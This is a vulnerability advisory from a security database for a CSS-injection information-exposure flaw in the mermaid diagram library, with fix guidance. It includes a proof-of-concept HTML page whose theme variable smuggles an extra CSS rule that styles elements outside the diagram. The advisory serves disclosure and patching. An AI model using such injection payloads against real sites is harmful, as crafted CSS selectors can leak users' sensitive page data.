<p>Upgrade <code>mermaid</code> to version 9.1.3 or higher.</p>

Information Exposure Affecting mermaid package, versions >=8.0.0 <9.1.3

Snyk CVSS

Attack Complexity Low

Threat Intelligence

Exploit Maturity Proof of concept

EPSS 0.07% (30^th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk ID SNYK-JS-MERMAID-2936793
published 29 Jun 2022
disclosed 29 Jun 2022
credit Unknown

Report a new vulnerability Found a mistake?

Introduced: 29 Jun 2022

CVE-2022-31108 Open this link in a new tab CWE-200 Open this link in a new tab

How to fix?

Upgrade mermaid to version 9.1.3 or higher.

Overview

mermaid is a package for generation of diagrams and flowcharts from text in a similar manner as markdown.

Affected versions of this package are vulnerable to Information Exposure by injecting arbitrary CSS into the generated graph. Exploiting this vulnerability allows the attacker to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors.

PoC:

<html>

<body>
    <div id="target">
        <h1>This element does not belong to the SVG but we can style it</h1>
    </div>
    <svg id="diagram">
    </svg>

    <script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
    <script>
        mermaid.initialize({ startOnLoad: false });

        const graph =
            `
            %%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
            graph TD
                A[Goose]
            `

        const diagram = document.getElementById("diagram")
        const svg = mermaid.render('diagram-svg', graph)
        diagram.innerHTML = svg
    </script>
</body>

</html>

References

GitHub Commit